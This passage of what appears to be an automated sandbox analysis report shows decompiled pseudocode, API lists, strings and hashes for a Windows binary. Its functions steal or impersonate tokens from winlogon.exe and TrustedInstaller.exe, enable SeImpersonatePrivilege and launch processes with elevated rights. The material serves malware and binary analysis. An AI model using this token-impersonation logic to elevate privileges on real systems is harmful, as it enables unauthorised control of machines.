								_v12 = _t96;
								if(_t96 == 0) {
									_t99 = E004028ED(_t152 + 0x800, _v8, _a4, _a8, _a12, _a16, _a20, _a24, _a28);
									__eflags = _t99;
									if(_t99 == 0) {
										_v12 = GetLastError();
									}
									CloseHandle(_v8); // executed
								}
								RevertToSelf(); // executed
							}
							goto L44;
						}
						_t104 = E0040598B(__edx, __eflags, __eax + 0x46b6);
						__eflags = _t104;
						if(_t104 == 0) {
							goto L44;
						}
						_v8 = 0;
						_t105 = E00401E44(_t152, _t104,  &_v8);
						goto L14;
					}
					_t149 = __eax + 0x44ac;
					_t110 = wcslen(_t149);
					__eflags = _t110;
					if(_t110 <= 0) {
						goto L44;
					} else {
						_v8 = 0;
						__eflags = E00404EA9(_t149, _t110);
						_t112 =  &_v8;
						_push(_t112);
						_push(_t149);
						if(__eflags == 0) {
							_push(_t152);
							_t113 = E00401DF9(_t145, __eflags);
						} else {
							L0040B1F8();
							_push(_t112);
							_push(_t152);
							_t113 = E00401E44();
						}
						_v12 = _t113;
						__eflags = _t113;
						goto L15;
					}
				} else {
					_v548 = 0;
					memset( &_v546, 0, 0x208);
					_v1076 = 0;
					memset( &_v1074, 0, 0x208);
					E00404C3C( &_v548);
					 *((intOrPtr*)(_t155 + 0x18)) = L"winlogon.exe";
					_t151 = wcslen(??);
					_t10 = wcslen( &_v548) + 1; // 0x1
					_t159 = _t151 + _t10 - 0x104;
					if(_t151 + _t10 >= 0x104) {
						_v1076 = 0;
					} else {
						E00404BE4( &_v1076,  &_v548, L"winlogon.exe");
					}
					_v8 = 0;
					_t105 = E00401DF9(_t145, _t159, _t152,  &_v1076,  &_v8);
					L14:
					_t160 = _t105;
					_v12 = _t105;
					L15:
					if(_t160 == 0) {
						if(E004028ED(_t152 + 0x800, _v8, _a4, _a8, _a12, _a16, _a20, _a24, _a28) == 0) {
							_v12 = GetLastError();
						}
						CloseHandle(_v8);
					}
					L44:
					return _v12;
				}
			}

0x00401fe6
0x00401ff1
0x00401ff3
0x00401fff
0x00402002
0x004020a8
0x004020ab
0x004020f3
0x004020f6
0x00402162
0x00402165
0x004021f2
0x004021f5
0x00402235
0x00402238
0x004022be
0x0040223a
0x0040223a
0x00402240
0x0040224b
0x0040224e
0x00402251
0x00402254
0x00402259
0x0040225e
0x00402262
0x00402264
0x00402264
0x00402264
0x00402262
0x00402266
0x0040226c
0x00402271
0x00402274
0x00402276
0x0040229a
0x0040229a
0x00402278
0x00402296
0x00402296
0x0040229c
0x0040229c
0x004022c0
0x004022c2
0x004022c8
0x004022c8
0x004022c8
0x00000000
0x004022c0
0x00402201
0x00402203
0x00000000
0x00000000
0x00402220
0x00402225
0x00402227
0x00000000
0x00000000
0x0040222d
0x00000000
0x0040222d
0x00402173
0x00402179
0x0040217b
0x0040217e
0x00402183
0x00402185
0x00402188
0x0040218d
0x0040218f
0x00402192
0x004021a2
0x004021a7
0x004021a9
0x004021ac
0x004021cc
0x004021d1
0x004021d3
0x004021db
0x004021db
0x004021e1
0x004021e1
0x004021e7
0x004021e7
0x00000000
0x00402192
0x004020fe
0x00402103
0x00402105
0x00000000
0x00000000
0x00402111
0x00402114
0x00000000
0x00402114
0x004020ad
0x004020b4
0x004020b9
0x004020bc
0x00000000
0x004020c2
0x004020c4
0x004020ce
0x004020d0
0x004020d3
0x004020d4
0x004020d5
0x004020e6
0x004020e7
0x004020d7
0x004020d7
0x004020dd
0x004020de
0x004020df
0x004020df
0x004020ec
0x004020ef
0x00000000
0x004020ef
0x00402008
0x00402016
0x0040201d
0x0040202e
0x00402035
0x00402044
0x00402049
0x00402055
0x00402064
0x00402068
0x0040206e
0x0040208b
0x00402070
0x00402082
0x00402088
0x0040209e
0x004020a1
0x00402119
0x00402119
0x0040211b
0x0040211e
0x0040211e
0x00402149
0x00402151
0x00402151
0x00402157
0x00402157
0x004022cb
0x004022d2
0x004022d2

APIs

memset.MSVCRT ref: 0040201D
memset.MSVCRT ref: 00402035

Part of subcall function 00404C3C: GetSystemDirectoryW.KERNEL32(0041C6D0,00000104), ref: 00404C52
Part of subcall function 00404C3C: wcscpy.MSVCRT ref: 00404C62

wcslen.MSVCRT ref: 00402050
wcslen.MSVCRT ref: 0040205F
wcslen.MSVCRT ref: 004020B4
_wtoi.MSVCRT ref: 004020D7
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00000000), ref: 0040214B
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00000000), ref: 00402157
OpenSCManagerW.SECHOST(00000000,ServicesActive,00000035,?,?,00000000), ref: 00402173
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,TrustedInstaller.exe,?,?), ref: 004021D5
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,TrustedInstaller.exe,?,?), ref: 004021E1
RevertToSelf.KERNELBASE(?,TrustedInstaller.exe,?,?), ref: 004021E7

Part of subcall function 00404BE4: wcscpy.MSVCRT ref: 00404BEC
Part of subcall function 00404BE4: wcscat.MSVCRT ref: 00404BFB

Part of subcall function 0040598B: memset.MSVCRT ref: 004059B5
Part of subcall function 0040598B: _wcsicmp.MSVCRT ref: 004059FA
Part of subcall function 0040598B: wcschr.MSVCRT ref: 00405A0E
Part of subcall function 0040598B: _wcsicmp.MSVCRT ref: 00405A20
Part of subcall function 0040598B: OpenProcess.KERNEL32(02000000,00000000,00000000,00000000,?,?,?,?,00000000), ref: 00405A36
Part of subcall function 0040598B: OpenProcessToken.ADVAPI32(00000000,00000002,?), ref: 00405A4C
Part of subcall function 0040598B: CloseHandle.KERNEL32(?), ref: 00405A5A
Part of subcall function 0040598B: CloseHandle.KERNEL32(00000000), ref: 00405A61

Part of subcall function 00401E44: OpenProcess.KERNEL32(02000000,00000000,00000000,00000000,winlogon.exe,?,00000000,winlogon.exe,00000000), ref: 00401E5C
Part of subcall function 00401E44: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?), ref: 00401ED8
Part of subcall function 00401E44: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?), ref: 00401EEB

wcschr.MSVCRT ref: 00402259
CreateProcessW.KERNEL32 ref: 004022B8
GetLastError.KERNEL32(?,?,00000000), ref: 004022C2

Strings

winlogon.exe, xrefs: 00402049, 00402076
TrustedInstaller.exe, xrefs: 0040219C
ServicesActive, xrefs: 0040216D

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseHandle$OpenProcess$ErrorLastmemsetwcslen$_wcsicmpwcschrwcscpy$CreateDirectoryManagerRevertSelfSystemToken_wtoiwcscat
String ID: ServicesActive$TrustedInstaller.exe$winlogon.exe
API String ID: 3201562063-2355939583
Opcode ID: 36f9f8526d762d4bf55260197473f7f83151b965ca01539aa69d60d29f45efaf
Instruction ID: ccbcfbde9fdc9ff515b0a1e4c69409fc0ea490cdea51ab3e51e2115b03466e24
Opcode Fuzzy Hash: 36f9f8526d762d4bf55260197473f7f83151b965ca01539aa69d60d29f45efaf
Instruction Fuzzy Hash: 02813A76800209EACF11AFE0CD899AE7BA9FF08308F10457AFA05B21D1D7798A549B59

Uniqueness

Uniqueness Score: -1.00%

Function 00409921, Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 29
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409921(struct HINSTANCE__** __esi) {
				void* _t6;
				struct HINSTANCE__* _t7;
				_Unknown_base(*)()* _t12;
				CHAR* _t13;
				intOrPtr* _t17;

				if( *__esi == 0) {
					_t7 = E00405436(L"psapi.dll"); // executed
					 *_t17 = "GetModuleBaseNameW";
					 *__esi = _t7;
					__esi[1] = GetProcAddress(_t7, _t13);
					__esi[2] = GetProcAddress( *__esi, "EnumProcessModules");
					__esi[4] = GetProcAddress( *__esi, "GetModuleFileNameExW");
					__esi[5] = GetProcAddress( *__esi, "EnumProcesses");
					_t12 = GetProcAddress( *__esi, "GetModuleInformation");
					__esi[3] = _t12;
					return _t12;
				}
				return _t6;
			}

0x00409924
0x0040992c
0x00409937
0x0040993f
0x0040994a
0x00409956
0x00409962
0x0040996e
0x00409971
0x00409973
0x00000000
0x00409976
0x00409977

APIs

Part of subcall function 00405436: memset.MSVCRT ref: 00405456
Part of subcall function 00405436: wcscat.MSVCRT ref: 00405478
Part of subcall function 00405436: LoadLibraryW.KERNELBASE(00000000), ref: 00405489
Part of subcall function 00405436: LoadLibraryW.KERNEL32(?), ref: 00405492

GetProcAddress.KERNEL32(00000000,psapi.dll), ref: 00409941
GetProcAddress.KERNEL32(?,EnumProcessModules), ref: 0040994D
GetProcAddress.KERNEL32(?,GetModuleFileNameExW), ref: 00409959
GetProcAddress.KERNEL32(?,EnumProcesses), ref: 00409965
GetProcAddress.KERNEL32(?,GetModuleInformation), ref: 00409971

Strings

EnumProcessModules, xrefs: 00409943
GetModuleFileNameExW, xrefs: 0040994F
GetModuleBaseNameW, xrefs: 00409937
EnumProcesses, xrefs: 0040995B
GetModuleInformation, xrefs: 00409967
psapi.dll, xrefs: 00409927

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$LibraryLoad$memsetwcscat
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$GetModuleFileNameExW$GetModuleInformation$psapi.dll
API String ID: 1529661771-70141382
Opcode ID: 5bb6ae9af13ee73b8e972736f9e45c56a416d8eed90bd4e1aed24245ad07e366
Instruction ID: 092d130926b261125bd3b69643a6c94717898c68ce40be050c227dd31faca138
Opcode Fuzzy Hash: 5bb6ae9af13ee73b8e972736f9e45c56a416d8eed90bd4e1aed24245ad07e366
Instruction Fuzzy Hash: C7F0D4B4D40704AECB306FB59C09E16BAE1EFA8700B614D3EE0C1A3290D7799044CF48

Uniqueness

Uniqueness Score: -1.00%

Function 0040B2C6, Relevance: 18.1, APIs: 12, Instructions: 134COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,0040C390,00000070), ref: 0040B2D5
__set_app_type.MSVCRT ref: 0040B334
__p__fmode.MSVCRT ref: 0040B349
__p__commode.MSVCRT ref: 0040B357
__setusermatherr.MSVCRT ref: 0040B383
_initterm.MSVCRT ref: 0040B399
__wgetmainargs.KERNELBASE ref: 0040B3BC
_initterm.MSVCRT ref: 0040B3CF
GetStartupInfoW.KERNEL32(?), ref: 0040B42C
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 0040B452
exit.KERNELBASE ref: 0040B469
_cexit.MSVCRT ref: 0040B46F

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleModule_initterm$InfoStartup__p__commode__p__fmode__set_app_type__setusermatherr__wgetmainargs_cexitexit
String ID:
API String ID: 2827331108-0
Opcode ID: 480d2f0d1e59e5c54fd79cbec4a7142595e90bf4a66800abf037708ca1cfab7b
Instruction ID: dde25c0b0dc41f5004a610fd87b0135bea3e3095e736c0cca49ec984ade2cc6a
Opcode Fuzzy Hash: 480d2f0d1e59e5c54fd79cbec4a7142595e90bf4a66800abf037708ca1cfab7b
Instruction Fuzzy Hash: 3D519E71C50604DBCB20AFA4D9889AD77B4FB04710F60823BE861B72D2D7394D82CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00401F04, Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00401F04(void* __edx, intOrPtr _a4) {
				int _v8;
				void _v538;
				long _v540;
				void _v1066;
				char _v1068;
				long _t30;
				int _t33;
				int _t39;
				void* _t42;
				void* _t45;
				long _t49;

				_t45 = __edx;
				_v540 = 0;
				memset( &_v538, 0, 0x208);
				_v1068 = 0;
				memset( &_v1066, 0, 0x208);
				E00404C3C( &_v540);
				_t48 = L"winlogon.exe";
				_t39 = wcslen(L"winlogon.exe");
				_t8 = wcslen( &_v540) + 1; // 0x1
				_t53 = _t39 + _t8 - 0x104;
				_pop(_t42);
				if(_t39 + _t8 >= 0x104) {
					_v1068 = 0;
				} else {
					E00404BE4( &_v1068,  &_v540, _t48);
					_pop(_t42);
				}
				_v8 = 0;
				_t30 = E00401DF9(_t45, _t53, _a4,  &_v1068,  &_v8); // executed
				_t49 = _t30;
				_t54 = _t49;
				if(_t49 == 0) {
					E00408F48(_t42, _t54, L"SeImpersonatePrivilege"); // executed
					_t33 = ImpersonateLoggedOnUser(_v8); // executed
					if(_t33 == 0) {
						_t49 = GetLastError();
					}
					CloseHandle(_v8);
				}
				return _t49;
			}

0x00401f04
0x00401f20
0x00401f27
0x00401f38
0x00401f3f
0x00401f4e
0x00401f54
0x00401f5f
0x00401f6e
0x00401f72
0x00401f77
0x00401f78
0x00401f91
0x00401f7a
0x00401f88
0x00401f8e
0x00401f8e
0x00401fa6
0x00401fa9
0x00401fae
0x00401fb0
0x00401fb2
0x00401fb9
0x00401fc2
0x00401fca
0x00401fd2
0x00401fd2
0x00401fd7
0x00401fd7
0x00401fe3

APIs

memset.MSVCRT ref: 00401F27
memset.MSVCRT ref: 00401F3F

Part of subcall function 00404C3C: GetSystemDirectoryW.KERNEL32(0041C6D0,00000104), ref: 00404C52
Part of subcall function 00404C3C: wcscpy.MSVCRT ref: 00404C62

wcslen.MSVCRT ref: 00401F5A
wcslen.MSVCRT ref: 00401F69
ImpersonateLoggedOnUser.KERNELBASE(?,0040218D,?,?,?,?,?,?,?,00000000), ref: 00401FC2
GetLastError.KERNEL32(?,?,?,?,?,00000000), ref: 00401FCC
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000), ref: 00401FD7

Part of subcall function 00404BE4: wcscpy.MSVCRT ref: 00404BEC
Part of subcall function 00404BE4: wcscat.MSVCRT ref: 00404BFB

Strings

winlogon.exe, xrefs: 00401F54, 00401F59, 00401F80
SeImpersonatePrivilege, xrefs: 00401FB4

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memsetwcscpywcslen$CloseDirectoryErrorHandleImpersonateLastLoggedSystemUserwcscat
String ID: SeImpersonatePrivilege$winlogon.exe
API String ID: 3867304300-2177360481
Opcode ID: b9815b26473cd7491ae288f5076cf4125b88922a7fa2441dfc3ee00491751d6f
Instruction ID: dcc5dec8953379ec1552ef046485534b93905478987a0ec3c51696e6dc85d708
Opcode Fuzzy Hash: b9815b26473cd7491ae288f5076cf4125b88922a7fa2441dfc3ee00491751d6f
Instruction Fuzzy Hash: 48214F72940118AACB20A795DC899DFB7BCDF54354F5001BBF608F2191EB345A848BAC

Uniqueness

Uniqueness Score: -1.00%

Function 00409555, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27
libraryloadertimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409555(void* _a4, struct _FILETIME* _a8, struct _FILETIME* _a12, struct _FILETIME* _a16, struct _FILETIME* _a20) {
				int _t8;
				struct HINSTANCE__* _t9;

				if( *0x41c8e8 == 0) {
					_t9 = GetModuleHandleW(L"kernel32.dll");
					if(_t9 != 0) {
						 *0x41c8e8 = 1;
						 *0x41c8ec = GetProcAddress(_t9, "GetProcessTimes");
					}
				}
				if( *0x41c8ec == 0) {
					return 0;
				} else {
					_t8 = GetProcessTimes(_a4, _a8, _a12, _a16, _a20); // executed
					return _t8;
				}
			}

0x0040955f
0x00409566
0x0040956e
0x00409576
0x00409586
0x00409586
0x0040956e
0x00409592
0x004095aa
0x00409594
0x004095a3
0x004095a6
0x004095a6

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00409764,00000000,?,?,?,00401DD3,00000000,?), ref: 00409566
GetProcAddress.KERNEL32(00000000,GetProcessTimes), ref: 00409580
GetProcessTimes.KERNELBASE(00000000,00401DD3,?,?,?,?,00409764,00000000,?,?,?,00401DD3,00000000,?), ref: 004095A3

Strings

kernel32.dll, xrefs: 00409561
GetProcessTimes, xrefs: 00409570

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProcProcessTimes
String ID: GetProcessTimes$kernel32.dll
API String ID: 1714573020-3385500049
Opcode ID: 7c908c3a013f4f9010f7eee84109228e73c5ea75ed64b39a480063120f72be39
Instruction ID: 684c615278f70e6dc9f1b796aa494e436c9634249af5aea594c4fe29f2bd0140
Opcode Fuzzy Hash: 7c908c3a013f4f9010f7eee84109228e73c5ea75ed64b39a480063120f72be39
Instruction Fuzzy Hash: 51F0C031680209EFDF019FE5ED85B9A3BE9EB44705F008535F908E12A1D7758960EB58

Uniqueness

Uniqueness Score: -1.00%

Function 00402F31, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00402F31(void* _a4) {
				void _v530;
				long _v532;
				void* __edi;
				wchar_t* _t15;
				intOrPtr _t18;
				short* _t19;
				void* _t22;
				void* _t29;

				_v532 = _v532 & 0x00000000;
				memset( &_v530, 0, 0x208);
				E00404AD9( &_v532);
				_t15 = wcsrchr( &_v532, 0x2e);
				if(_t15 != 0) {
					 *_t15 =  *_t15 & 0x00000000;
				}
				wcscat( &_v532, L".cfg");
				_t18 =  *0x40fa74; // 0x4101c8
				_t19 = _t18 + 0x5504;
				_t36 =  *_t19;
				_pop(_t29);
				if( *_t19 != 0) {
					E00404923(0x104,  &_v532, _t19);
					_pop(_t29);
				}
				_t22 = E00402FC6(_t29, _t36,  &_v532); // executed
				return _t22;
			}

0x00402f3a
0x00402f51
0x00402f60
0x00402f6f
0x00402f78
0x00402f7a
0x00402f7a
0x00402f8a
0x00402f8f
0x00402f94
0x00402f99
0x00402f9e
0x00402f9f
0x00402fad
0x00402fb2
0x00402fb2
0x00402fbd
0x00402fc5

APIs

memset.MSVCRT ref: 00402F51

Part of subcall function 00404AD9: GetModuleFileNameW.KERNEL32(00000000,e/@,00000104,00402F65,00000000,?,?,00000000), ref: 00404AE4

wcsrchr.MSVCRT ref: 00402F6F
wcscat.MSVCRT ref: 00402F8A

Strings

.cfg, xrefs: 00402F84

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: FileModuleNamememsetwcscatwcsrchr
String ID: .cfg
API String ID: 776488737-3410578098
Opcode ID: 728259185716957c59a96a9101d5f0e08b84084941d0fa3c3d1a3b0935b5c9f5
Instruction ID: 9e44addaa5645187fa8e636e844442f878cb26b9c6a589516f43c5b5973a5f2a
Opcode Fuzzy Hash: 728259185716957c59a96a9101d5f0e08b84084941d0fa3c3d1a3b0935b5c9f5
Instruction Fuzzy Hash: D501487254420C9ADB20E755DD8AFCA73BCEB54314F1008BBA514F61C1D7F8AAC48A9C

Uniqueness

Uniqueness Score: -1.00%

Function 00409DDC, Relevance: 6.1, APIs: 4, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 35%

			E00409DDC(intOrPtr* __ecx, void* __eflags, intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, intOrPtr _a16, WCHAR* _a20) {
				char _v16390;
				short _v16392;
				void* __edi;
				intOrPtr* _t30;
				intOrPtr* _t34;
				signed int _t36;
				signed int _t37;

				_t30 = __ecx;
				E0040B550(0x4004, __ecx);
				_push(0x4000);
				_push(0);
				_v16392 = 0;
				_t34 = _t30;
				_push( &_v16390);
				if(_a4 == 0) {
					memset();
					GetPrivateProfileStringW(_a8, _a12, 0x40c4e8,  &_v16392, 0x2000, _a20); // executed
					asm("sbb esi, esi");
					_t37 =  ~_t36;
					E004051B8( &_v16392, _t34, _a16);
				} else {
					memset();
					E0040512F(_a16,  *_t34,  &_v16392);
					_t37 = WritePrivateProfileStringW(_a8, _a12,  &_v16392, _a20);
				}
				return _t37;
			}

0x00409ddc
0x00409de4
0x00409df0
0x00409df5
0x00409df6
0x00409e03
0x00409e05
0x00409e06
0x00409e3b
0x00409e5d
0x00409e6a
0x00409e73
0x00409e75
0x00409e08
0x00409e08
0x00409e19
0x00409e37
0x00409e37
0x00409e81

APIs

memset.MSVCRT ref: 00409E08

Part of subcall function 0040512F: _snwprintf.MSVCRT ref: 00405174
Part of subcall function 0040512F: memcpy.MSVCRT ref: 00405184

WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 00409E31
memset.MSVCRT ref: 00409E3B
GetPrivateProfileStringW.KERNEL32(?,?,0040C4E8,?,00002000,?), ref: 00409E5D

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: PrivateProfileStringmemset$Write_snwprintfmemcpy
String ID:
API String ID: 1127616056-0
Opcode ID: 58dd6d091b48cbb0307dc7b23365382c2a8386e907ab43d681c23093a5f2522d
Instruction ID: edc1d82326a177a4eed1c31c26edb3d60bf211bedf20f6070ddf32627235df0d
Opcode Fuzzy Hash: 58dd6d091b48cbb0307dc7b23365382c2a8386e907ab43d681c23093a5f2522d
Instruction Fuzzy Hash: A9117071500119AFDF11AF64DD06E9E7BA9EF04704F1000BAFB05B6191E7319E608BAD

Uniqueness

Uniqueness Score: -1.00%

Function 00404951, Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404951(signed int* __eax, void* __edx, void** __edi, signed int _a4, char _a8) {
				void* _t8;
				void* _t13;
				signed int _t16;
				void** _t21;
				signed int _t22;

				_t21 = __edi;
				_t22 =  *__eax;
				if(__edx < _t22) {
					return 0;
				} else {
					_t13 =  *__edi;
					do {
						_t1 =  &_a8; // 0x4057e1
						 *__eax =  *__eax +  *_t1;
						_t16 =  *__eax;
					} while (__edx >= _t16);
					_t8 = malloc(_t16 * _a4); // executed
					 *__edi = _t8;
					if(_t22 > 0) {
						if(_t8 != 0) {
							memcpy(_t8, _t13, _t22 * _a4);
						}
						free(_t13); // executed
					}
					return 0 |  *_t21 != 0x00000000;
				}
			}

0x00404951
0x00404952
0x00404956
0x004049a1
0x00404958
0x00404959
0x0040495b
0x0040495b
0x0040495f
0x00404961
0x00404963
0x0040496d
0x00404975
0x00404977
0x0040497b
0x00404985
0x0040498a
0x0040498e
0x00404993
0x0040499d
0x0040499d

APIs

malloc.MSVCRT ref: 0040496D
memcpy.MSVCRT ref: 00404985
free.MSVCRT(00000000,00000000,?,004055BF,00000002,?,00000000,?,004057E1,00000000,?,00000000), ref: 0040498E

Strings

W@, xrefs: 0040495B

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: freemallocmemcpy
String ID: W@
API String ID: 3056473165-1729568415
Opcode ID: 333fb239f4ff1cdabd0487bf4b3bf6bf98c6d246a46385af68035416a7f8f3c9
Instruction ID: 6576f77cd119d718dc8f29c334e0549a7190cc93a29033006f08a56aa9c3ab10
Opcode Fuzzy Hash: 333fb239f4ff1cdabd0487bf4b3bf6bf98c6d246a46385af68035416a7f8f3c9
Instruction Fuzzy Hash: 09F054B26092229FC708AA79B98585BB79DEF84364711487EF514E72D1D7389C40C7A8

Uniqueness

Uniqueness Score: -1.00%

Function 00405436, Relevance: 6.0, APIs: 4, Instructions: 31
libraryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405436(wchar_t* _a4) {
				void _v2050;
				signed short _v2052;
				void* __esi;
				struct HINSTANCE__* _t16;
				WCHAR* _t18;

				_v2052 = _v2052 & 0x00000000;
				memset( &_v2050, 0, 0x7fe);
				E00404C3C( &_v2052);
				_t18 =  &_v2052;
				E004047AF(_t18);
				wcscat(_t18, _a4);
				_t16 = LoadLibraryW(_t18); // executed
				if(_t16 == 0) {
					return LoadLibraryW(_a4);
				}
				return _t16;
			}

0x0040543f
0x00405456
0x00405462
0x00405467
0x0040546d
0x00405478
0x00405489
0x0040548d
0x00000000
0x00405492
0x00405496

APIs

memset.MSVCRT ref: 00405456

Part of subcall function 00404C3C: GetSystemDirectoryW.KERNEL32(0041C6D0,00000104), ref: 00404C52
Part of subcall function 00404C3C: wcscpy.MSVCRT ref: 00404C62

Part of subcall function 004047AF: wcslen.MSVCRT ref: 004047B0
Part of subcall function 004047AF: wcscat.MSVCRT ref: 004047C8

wcscat.MSVCRT ref: 00405478
LoadLibraryW.KERNELBASE(00000000), ref: 00405489
LoadLibraryW.KERNEL32(?), ref: 00405492

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoadwcscat$DirectorySystemmemsetwcscpywcslen
String ID:
API String ID: 3725422290-0
Opcode ID: 1802a75fbf0d54ac87396d762f51419468a1e880665e67f03dd367b63fba9ca4
Instruction ID: bb87c58107a7235a9df1b9b02ada5b91fca9717c482d10a691b94706fbe65826
Opcode Fuzzy Hash: 1802a75fbf0d54ac87396d762f51419468a1e880665e67f03dd367b63fba9ca4
Instruction Fuzzy Hash: EBF03771D40229A6DF20B7A5CC06B8A7A6CFF40758F0044B6B94CB7191DB7CEA558FD8

Uniqueness

Uniqueness Score: -1.00%

Function 00409E82, Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetPrivateProfileIntW.KERNEL32 ref: 00409EA9

Part of subcall function 00409D12: memset.MSVCRT ref: 00409D31
Part of subcall function 00409D12: _itow.MSVCRT ref: 00409D48
Part of subcall function 00409D12: WritePrivateProfileStringW.KERNEL32(?,?,00000000), ref: 00409D57

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: PrivateProfile$StringWrite_itowmemset
String ID:
API String ID: 4232544981-0
Opcode ID: eeb21031a92c0a089a906d8cada5f37383a5669735d00d1bca9b9fb7ea3296f1
Instruction ID: 9cbd54488ddde29c65bb9f464d3594e5c231a9cc3fc51dd6b87f783e4d357368
Opcode Fuzzy Hash: eeb21031a92c0a089a906d8cada5f37383a5669735d00d1bca9b9fb7ea3296f1
Instruction Fuzzy Hash: CDE0B632000209FFDF125F80EC01AAA3B66FF14315F648569F95814171D33799B0EF88

Uniqueness

Uniqueness Score: -1.00%

